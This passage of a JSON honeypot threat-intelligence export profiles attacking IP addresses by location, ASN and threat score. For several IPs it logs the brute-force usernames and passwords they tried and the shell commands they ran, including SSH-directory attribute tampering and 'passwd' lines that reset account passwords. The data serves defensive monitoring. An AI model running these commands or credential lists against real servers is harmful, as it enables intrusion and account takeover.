      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.119.236.207": {
      "attack_count": 2,
      "first_seen": "2026-05-25T09:27:15.470Z",
      "last_seen": "2026-05-25T09:27:28.569Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T09:27:15.470000+00:00",
        "last_seen_30d": "2026-05-25T09:28:32.869000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "148.204.11.97": {
      "attack_count": 2,
      "first_seen": "2026-05-02T03:10:49.164Z",
      "last_seen": "2026-05-02T03:11:03.073Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Gustavo Adolfo Madero",
      "asn": 3484,
      "as_org": "Instituto Politecnico Nacional",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T03:10:49.164000+00:00",
        "last_seen_30d": "2026-05-02T03:12:11.493000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "162.243.71.18": {
      "attack_count": 2,
      "first_seen": "2026-05-29T08:20:02.833Z",
      "last_seen": "2026-05-29T08:20:03.082Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Secaucus",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T08:20:02.833000+00:00",
        "last_seen_30d": "2026-05-29T08:21:07.991000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "177.136.166.69": {
      "attack_count": 2,
      "first_seen": "2026-05-05T18:55:58.512Z",
      "last_seen": "2026-05-05T18:56:11.289Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Curitibanos",
      "asn": 28343,
      "as_org": "UNIFIQUE TELECOMUNICACOES SA",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T18:55:58.512000+00:00",
        "last_seen_30d": "2026-05-05T18:57:20.701000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.222.230.196": {
      "attack_count": 2,
      "first_seen": "2026-05-15T14:19:33.435Z",
      "last_seen": "2026-05-15T14:19:46.247Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Minas Novas",
      "asn": 263402,
      "as_org": "INFORMATICA.COM LTDA",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T14:19:33.435000+00:00",
        "last_seen_30d": "2026-05-15T14:20:50.054000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.188.11.88": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:04:10.360Z",
      "last_seen": "2026-05-23T01:06:10.361Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Gustavo Adolfo Madero",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:04:10.360000+00:00",
        "last_seen_30d": "2026-05-23T01:07:50.323000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "198.235.24.122": {
      "attack_count": 2,
      "first_seen": "2026-05-05T18:09:10.231Z",
      "last_seen": "2026-05-05T18:09:41.955Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 30,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T02:47:59+00:00",
        "last_seen_30d": "2026-05-31T23:31:20.251000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 69,
        "Honeytrap": 27,
        "Ciscoasa": 2,
        "Cowrie": 2,
        "Honeyaml": 1,
        "Tanner": 1
      }
    },
    "198.235.24.66": {
      "attack_count": 2,
      "first_seen": "2026-05-09T05:20:31.413Z",
      "last_seen": "2026-05-09T05:20:41.283Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 75.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 29,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T06:11:26.767000+00:00",
        "last_seen_30d": "2026-05-30T06:52:13.814000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Honeytrap": 26,
        "Cowrie": 2
      }
    },
    "205.210.31.170": {
      "attack_count": 2,
      "first_seen": "2026-05-31T20:47:09.969Z",
      "last_seen": "2026-05-31T20:47:10.288Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 151,
        "days_active_30d": 30,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T04:25:30+00:00",
        "last_seen_30d": "2026-05-31T20:48:18.379000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 99,
        "Honeytrap": 43,
        "Adbhoney": 4,
        "Dionaea": 3,
        "Cowrie": 2
      }
    },
    "27.20.222.185": {
      "attack_count": 2,
      "first_seen": "2026-05-22T03:39:29.879Z",
      "last_seen": "2026-05-22T03:39:42.935Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T03:39:29.879000+00:00",
        "last_seen_30d": "2026-05-22T03:40:51.855000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.224.32.172": {
      "attack_count": 2,
      "first_seen": "2026-05-11T22:57:22.184Z",
      "last_seen": "2026-05-11T22:57:34.804Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Valera",
      "asn": 273007,
      "as_org": "SPEEDNET, C.A",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T22:57:22.184000+00:00",
        "last_seen_30d": "2026-05-11T22:58:42.343000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "39.126.174.31": {
      "attack_count": 2,
      "first_seen": "2026-05-04T09:37:57.484Z",
      "last_seen": "2026-05-04T09:38:28.837Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Cheongju-si",
      "asn": 9319,
      "as_org": "HCN CHUNGBUK CABLE TV SYSTEMS",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T09:37:57.484000+00:00",
        "last_seen_30d": "2026-05-04T09:39:38.472000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.166.46.158": {
      "attack_count": 2,
      "first_seen": "2026-05-11T09:09:52.302Z",
      "last_seen": "2026-05-11T09:10:05.317Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ribeir\u00e3o Claro",
      "asn": 267935,
      "as_org": "GV telecomunicacoes LTDA - ME",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T09:09:52.302000+00:00",
        "last_seen_30d": "2026-05-11T09:11:14.057000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.111.49.90": {
      "attack_count": 2,
      "first_seen": "2026-05-06T10:28:44.528Z",
      "last_seen": "2026-05-06T10:28:56.763Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Jeddah",
      "asn": 35819,
      "as_org": "Etihad Etisalat, a joint stock company",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T10:28:44.528000+00:00",
        "last_seen_30d": "2026-05-06T10:30:01.322000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.164.30.72": {
      "attack_count": 2,
      "first_seen": "2026-05-29T03:56:28.370Z",
      "last_seen": "2026-05-29T03:58:28.384Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tula",
      "asn": 52207,
      "as_org": "JSC ER-Telecom Holding",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T03:56:28.370000+00:00",
        "last_seen_30d": "2026-05-29T04:08:30.333000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.50.153.235": {
      "attack_count": 2,
      "first_seen": "2026-05-23T05:28:52.592Z",
      "last_seen": "2026-05-23T05:29:06.267Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T05:28:52.592000+00:00",
        "last_seen_30d": "2026-05-23T05:30:07.075000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.219.57.208": {
      "attack_count": 2,
      "first_seen": "2026-05-25T01:23:22.268Z",
      "last_seen": "2026-05-25T01:23:53.118Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T01:23:22.268000+00:00",
        "last_seen_30d": "2026-05-25T01:24:54.651000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "80.230.141.44": {
      "attack_count": 2,
      "first_seen": "2026-05-24T00:18:24.409Z",
      "last_seen": "2026-05-24T00:20:24.416Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Rishon LeTsiyyon",
      "asn": 12400,
      "as_org": "Partner Communications Ltd.",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T22:27:40.234000+00:00",
        "last_seen_30d": "2026-05-24T00:31:10.391000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "82.221.141.146": {
      "attack_count": 2,
      "first_seen": "2026-05-04T09:38:39.434Z",
      "last_seen": "2026-05-04T09:39:10.994Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iceland",
      "country_code": "IS",
      "city": null,
      "asn": 50613,
      "as_org": "Advania Island ehf",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T09:38:39.434000+00:00",
        "last_seen_30d": "2026-05-04T09:40:18.189000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "94.231.193.239": {
      "attack_count": 2,
      "first_seen": "2026-05-16T14:57:54.659Z",
      "last_seen": "2026-05-16T14:58:08.329Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lebanon",
      "country_code": "LB",
      "city": null,
      "asn": 207493,
      "as_org": "GE-net sarl",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T14:57:54.659000+00:00",
        "last_seen_30d": "2026-05-16T14:59:16.332000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.253.11.8": {
      "attack_count": 1096,
      "first_seen": "2026-05-25T15:26:39.648Z",
      "last_seen": "2026-05-25T17:35:38.578Z",
      "sessions": 218,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "admin",
        "mysql",
        "ubuntu",
        "debian",
        "elasticsearch",
        "hadoop",
        "postgres",
        "user1",
        "david",
        "deploy",
        "developer",
        "devops",
        "elastic",
        "es",
        "ftp",
        "git",
        "guest",
        "minecraft"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "1",
        "111111",
        "123",
        "12345",
        "12345678",
        "123456789",
        "Aa123456",
        "admin",
        "test123",
        "user",
        "!Q2w3e4r",
        "!QAZ2wsx",
        "0",
        "123123123",
        "1234",
        "123@@@",
        "1Q2w3e4r",
        "1qaz!QAZ"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 1569,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T15:26:39.648000+00:00",
        "last_seen_30d": "2026-05-25T17:36:43.680000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1096,
        "Suricata": 473
      }
    },
    "103.243.110.182": {
      "attack_count": 662,
      "first_seen": "2026-05-03T03:10:15.982Z",
      "last_seen": "2026-05-03T05:16:41.494Z",
      "sessions": 331,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 133120,
      "as_org": "Hosted Network Pty Ltd",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1004,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T03:10:15.982000+00:00",
        "last_seen_30d": "2026-05-03T05:17:43.621000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 662,
        "Suricata": 342
      }
    },
    "209.99.189.174": {
      "attack_count": 651,
      "first_seen": "2026-05-02T06:02:59.587Z",
      "last_seen": "2026-05-22T17:39:04.673Z",
      "sessions": 83,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "admin",
        "345gs5662d34",
        "postgres",
        "dev",
        "ftpuser",
        "prod",
        "sysadmin",
        "test",
        "ali",
        "ansible",
        "cadmin",
        "cfguser",
        "dockeruser",
        "donald",
        "ec2-user",
        "ftpuser1",
        "git",
        "guest"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "dev",
        "!@#$%^qwerty",
        "1",
        "1100",
        "123321",
        "12345",
        "12345678",
        "123qwe123",
        "123test321",
        "13241324",
        "1qa@WS3ed$RF",
        "1qaz@WSX",
        "1qazXSW@",
        "2233",
        "2468",
        "25802580"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"2wsx1qaz\\nZFGrcYFUyOTh\\nZFGrcYFUyOTh\\n\"|passwd",
        "echo \"dev\\ng2u4lIYOr1Xp\\ng2u4lIYOr1Xp\\n\"|passwd",
        "echo \"p@ssw0rd123\\nPqhMcMMxRyy7\\nPqhMcMMxRyy7\\n\"|passwd",
        "echo \"prod\\nO52CYx4qOsy5\\nO52CYx4qOsy5\\n\"|passwd",
        "echo -e \"2wsx1qaz\\nZFGrcYFUyOTh\\nZFGrcYFUyOTh\"|passwd|bash",
        "echo -e \"dev\\ng2u4lIYOr1Xp\\ng2u4lIYOr1Xp\"|passwd|bash",
        "echo -e \"p@ssw0rd123\\nPqhMcMMxRyy7\\nPqhMcMMxRyy7\"|passwd|bash",
        "echo -e \"prod\\nO52CYx4qOsy5\\nO52CYx4qOsy5\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 402253,
      "as_org": "SKN Subnet & Telecom Ltd",
      "threat_score": 41.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.2,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 834,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T06:02:59.587000+00:00",
        "last_seen_30d": "2026-05-22T17:40:07.362000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 651,
        "Suricata": 183
      }
    },
    "118.33.113.91": {
      "attack_count": 607,
      "first_seen": "2026-05-04T12:29:41.347Z",
      "last_seen": "2026-05-12T21:21:32.409Z",
      "sessions": 86,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "deploy",
        "administrator",
        "server",
        "test",
        "user",
        "adminagora",
        "ali",
        "alireza",
        "andrew",
        "appuser",
        "bitrix",
        "debian",
        "devops",
        "devuser",
        "echuser",
        "ftpuser"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "asdfghjkl",
        "0000",
        "1",
        "102030",
        "111222333",
        "123321",
        "1P@ssword",
        "1q2w3e4r5t",
        "1qaz1QAZ",
        "1qaz2wsx",
        "1qaz@WSX",
        "222222222",
        "555555",
        "9876543210",
        "Abc123456*",
        "Admin2026@"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"222222222\\ngzx1x32b1B0b\\ngzx1x32b1B0b\\n\"|passwd",
        "echo \"qazwsx\\nBWEatspNrnD8\\nBWEatspNrnD8\\n\"|passwd",
        "echo \"ubuntu@2025\\npqRVYy0Nc8ff\\npqRVYy0Nc8ff\\n\"|passwd",
        "echo -e \"222222222\\ngzx1x32b1B0b\\ngzx1x32b1B0b\"|passwd|bash",
        "echo -e \"qazwsx\\nBWEatspNrnD8\\nBWEatspNrnD8\"|passwd|bash",
        "echo -e \"ubuntu@2025\\npqRVYy0Nc8ff\\npqRVYy0Nc8ff\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Mapo-gu",
